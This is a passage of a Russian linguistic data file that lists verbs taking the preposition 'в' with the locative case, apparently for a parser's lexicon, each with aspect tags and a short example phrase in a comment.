rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
